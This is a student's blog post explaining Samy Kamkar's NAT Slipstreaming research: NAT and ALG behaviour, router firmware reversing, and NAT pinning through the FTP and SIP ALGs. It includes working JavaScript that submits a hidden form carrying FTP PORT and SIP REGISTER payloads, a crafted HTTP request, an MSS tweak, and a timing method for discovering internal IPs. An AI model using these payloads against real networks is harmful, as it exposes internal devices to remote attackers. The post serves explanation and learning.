NAT Slipstreaming

Mudhalai Mr
Developer Community SASTRA
9 min readApr 7, 2021

--

I used to think if a device is not exposed to the public internet, it is safe, because bad actors cannot access them as it has NAT (Network Address Translation) and a firewall in front of the device. Well, let us uncover the truth.

Note: A bit about me, I have been hacking for a while now I have gained some good knowledge in web security. To feed my curiosity I have decided to read all the nominated Web Techniques by Portswigger. This blog series will contain my takeaways from my learning.
https://portswigger.net/research/top-10-web-hacking-techniques-of-2020

This blog is not intended for complete beginners but if you have basic knowledge of networking you are good to go.

NAT Slipstreaming was disclosed by Samy Kamkar
By Samy:
https://samy.pl/slipstream/

NAT & Application Level Gateway:

Network Address Translation allows multiple devices to share the same public IP address and those devices are connected internally in a private network. Why not give individual devices their own public IP? The number of public IP addresses available is less than the no of devices. This scarcity is mitigated by using NAT. Your router acts as a NAT in your home network.

Private IP addresses: 10.*.*.*, 192.168.*.*, 172.16.*.* others are public addresses.

Image Credits: Google

But how will the router decide which device the incoming packet belongs to?

As there is only one public IP the response from the server on the internet is sent to the public IP that is the router. The router decides the route by looking at the destination and source ports.

Image Credits: Google

The router allocates a certain port to each device so if the router receives a packet on port 7777 the packet will be forwarded to device A. Router also takes care of replacing port numbers in the packet after the NAT process.

What about protocols like FTP which uses multiple ports?

An application gateway is an application program that runs on a firewall system between two networks. When a client program establishes a connection to a destination service, it connects to an application gateway or proxy. The client then negotiates with the proxy server to communicate with the destination service. In effect, the proxy establishes the connection with the destination behind the firewall and acts on behalf of the client, hiding and protecting individual computers on the network behind the firewall. This creates two connections: one between the client and the proxy server and one between the proxy server and the destination. Once connected, the proxy makes all packet-forwarding decisions. Since all communication is conducted through the proxy server, computers behind the firewall are protected.

While this is considered a highly secure method of firewall protection, application gateways require great memory and processor resources compared to other firewall technologies, such as stateful inspection.

Image Credits: Google

It allows client applications to use dynamic TCP/UDP ports to communicate with known ports used by server applications, even if the firewall configuration allows traffic through only a limited number of ports. Without an ALG, the ports would either get blocked, or the network administrator would need to open up a large number of ports in the firewall, weakening the network and allowing potential attacks on those ports.

Understanding ALG:

Router OS:

To understand how ALG treats packets we need a router firmware, we can reverse engineer the ALG working.

Samy used a Netgear Nighthawk R7000 router, firmware here:
https://www.netgear.com/support/product/r7000.aspx#Firmware%20Version%201.0.11.116

Download it, unzip it you will find a .chk file.

Binwalk is a tool for searching a given binary image for embedded files and executable code. Specifically, it is designed for identifying files and code embedded inside firmware images. Binwalk uses the libmagic library to be compatible with magic signatures created for the Unix file utility. We need those files to read the source code behind ALG.

After extracting using the “e” tag, a directory is created,

https://www.youtube.com/watch?v=oqk3cU7ekag

squashfs-root looks like a Linux file system, we have the OS now let’s start reversing. Let’s search for some interesting files.

As we are only concentrating on ALGs searching in lib is good enough, it contains all the required libraries (in our case source code for FTP ALG). From the result, two files stand out they are “.ko” files. “.ko” file (kernel object file) is an object file that contains code to extend the running kernel, or so-called base kernel, of an operating system.

“tdts.ko” has some interesting functions which are related to FTP ALG. ftp_decode_port_cmd looks interesting let’s google it.

https://searchnetworking.techtarget.com/tip/Understanding-the-FTP-PORT-command#:~:text=following%20the%20command.-,The%20PORT%20command,for%20data%20to%20travel%20over.

The PORT command is sent by an FTP client to establish a secondary connection (address and port) for data to travel over. In some FTP implementations port 20 is used for data, but that is the exception rather than the rules. Typically in a trace you will see data crossing over a dynamic port number (IANA states that this range should be between 49152 through 65535, but most likely you’ll see your application using something just above 1024 — the area that used to be the dynamic port number area).

But why should we care about port command in FTP? well, our goal is to access internal devices from the internet we can do this by exposing the port of the devices to the internet. As the FTP PORT command can open a port to transfer files, we can exploit it to expose a port we want. For example, we can expose port 23 to access a telnet service running on a device. Let’s understand how NAT treats and modifies FTP PORT command packets.

NAT Pinning:

NAT Pinning is a technique developed by Samy in 2010, it explains how we can create network packets using a browser (javascript) and trick the gateway in a NATed network to open and forward ports to the devices in the LAN.

For our case, we are going to stick only to FTP.

Image credits: https://github.com/allodoxaphobia/natpinning/wiki/What-is-NAT-pinning
  1. FTP client initiates the connection this traffic undergoes normal NAT operations.
  2. The client informs the FTP server about data connection, it sends a packet using the PORT command,

PORT 192,168,0,5,4,15

The client instructs the server to connect to 192.168.0.2:1039 but 192.168.*.* is a private IP address so NAT (router) replaces the private IP with public and it may change the port. If the router changes the port number it will do port forwarding to reach the original port so, this doesn’t affect the data connection. Now the PORT command becomes,

PORT 8,8,8,9,4,15

Wondering how 4, 15 describe 1039?
4 in hex -> 0x04
15 in hex -> 0x0F
combined hex -> 0x040F
In decimal -> 1039

3. The server will connect back to the public IP and the data will be forwarded by the router.

Now let’s abuse this command for NAT pinning.

<div id="expContainer"></div>
<script>
var objForm,objData,objData2;
objForm = document.createElement("form");
objForm.setAttribute("method", "post");
objForm.setAttribute("action", "http://80.80.80.5/");
objForm.setAttribute("enctype", "multipart/form-data");

objData=document.createElement("input");
objData.setAttribute("type","text");
objData.setAttribute("name","x");
objData.setAttribute("value","PORT 192,168,0,5,242,49");

objData2=document.createElement("input");
objData2.setAttribute("type","text");
objData2.setAttribute("name","y");
objData2.setAttribute("value","LIST");

objForm.appendChild(objData);
objForm.appendChild(objData2);
document.getElementById("expContainer").appendChild(objForm);

objForm.submit();
</script>

This Javascript code will execute

PORT 192,168,0,5,242,49

IP: 192.168.0.5 , Port: 62001

https://github.com/allodoxaphobia/natpinning

Another method is to use IRC DDC, it is similar to FTP here DDC requires a separate port to communicate.

Learn more: https://samy.pl/natpin/

Sadly both of the techniques won’t work because modern browsers blocked the ports (blocked ports) which means we cannot initiate the connection.

Image Credits: Giphy

Let’s try to find other similar protocols like FTP or IRC from Netfilter,

Image Credits: https://github.com/samyk/linux/tree/master/net/netfilter

As you can see chrome blocks both FTP and IRC, SIP looks good, let’s do some research.

SIP:

The Session Initiation Protocol (SIP) is a signaling protocol used for initiating, maintaining, and terminating real-time sessions that include voice, video, and messaging applications. SIP is used for signaling and controlling multimedia communication sessions in applications of Internet telephony for voice and video calls, in private IP telephone systems, in instant messaging over Internet Protocol (IP) networks as well as mobile phone calling over LTE (VoLTE).

We can find some SIP functions in the Kernel Object files similar to FTP.

Default SIP port is 5060 but the media packets are sent from other ports chosen by SIP ALG from the SIP header, we can control the header which means we can control the port which router will open. Let's try to send a SIP REGISTER packet through an HTTP POST request:

// our sip message
var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' +
'Contact: <sip:samy@192.168.0.109:1234;transport=TCP>\r\n\r\n'

// load form in an iframe so user doesn't see it
var iframe = document.createElement('iframe')
iframe.name = 'iframe'
iframe.style.display = 'none' // hide the iframe

// create form
var form = document.createElement('form')
form.setAttribute('target', 'iframe') // load into iframe
form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs
form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060
form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded

var textarea = document.createElement('textarea')
textarea.setAttribute('name', 'textname') // required
textarea.innerHTML = sipmsg
form.appendChild(textarea)
document.body.appendChild(iframe)
document.body.appendChild(form)
form.submit()

The request:

POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"

REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:samy@192.168.0.109:1234;transport=TCP>


------WebKitFormBoundaryhcoAd2iSAx3TJA7A--

This didn’t open any port on the LAN and we couldn’t find any reason, so let’s reverse the Kernel Object file and try to understand what is wrong.

Here we can see they have used the “strncasecmp” function which means packet TCP should have the word “INVITE” at the beginning, else the if condition will fail.

The problem here is that we cannot control the start of the TCP packet as we are using an HTTP POST request there will be an HTTP header before our payload.

TCP Segmentation:

What if we send a large HTTP request? At some point, it has to be broken down to be transported. Fortunately, we can control a TCP option called Maximum Segment Size (mss) during the initial SYN response. This instructs the client to keep the TCP size at a certain value. Now we know exactly where the HTTP header ends and our SIP packet starts. With this information, we can construct an HTTP POST request which is capable of delivering the SIP packet to the SIP ALG.

ip route replace default via [gateway] dev eth0 advmss 1500 //mss of 1500 bytes

Internal IP Discovery:

We need one more ingredient to cook the exploit: the victim’s internal LAN’s IP range. To get it we use a technique called TCP Timing Attack.

Simply, we use the <img> HTML tag to request images from different internal IPs, starting from Gateway then discovering all the hosts in the network. But how can we identify whether the host exists or the port is open?

If the host exists and the port is open then there will be a response it will fire an onsuccess event in javascript.

If the host exists but the port is not open we will get an onerror event with RST TCP packet as a response which means the port is closed the time taken is less than 1 sec.

If the host doesn’t exist the onerror event will fire after 1 sec.

By analysing the time of response we can identify the internal IP range.

Result:

Image Credits: https://samy.pl/slipstream/

This is pretty cool research, I loved it and learned lots of stuff here are some resources:
https://www.youtube.com/watch?v=j5NciKpHZzs
https://www.youtube.com/watch?v=q48LZp4w0wU
https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c

Version 2:

https://www.armis.com/resources/iot-security-blog/nat-slipstreaming-v2-0-new-attack-variant-can-expose-all-internal-network-devices-to-the-internet/
https://www.youtube.com/watch?time_continue=1&v=ZAEDu3kLR1o&feature=emb_logo

Спасибо :)Mudhalai Mr DSC SASTRA deemed university

--

--

Mudhalai Mr
Developer Community SASTRA

<>AKA Gowtham Student at SASTRA Deemed university, Core team member DSC SASTRA </>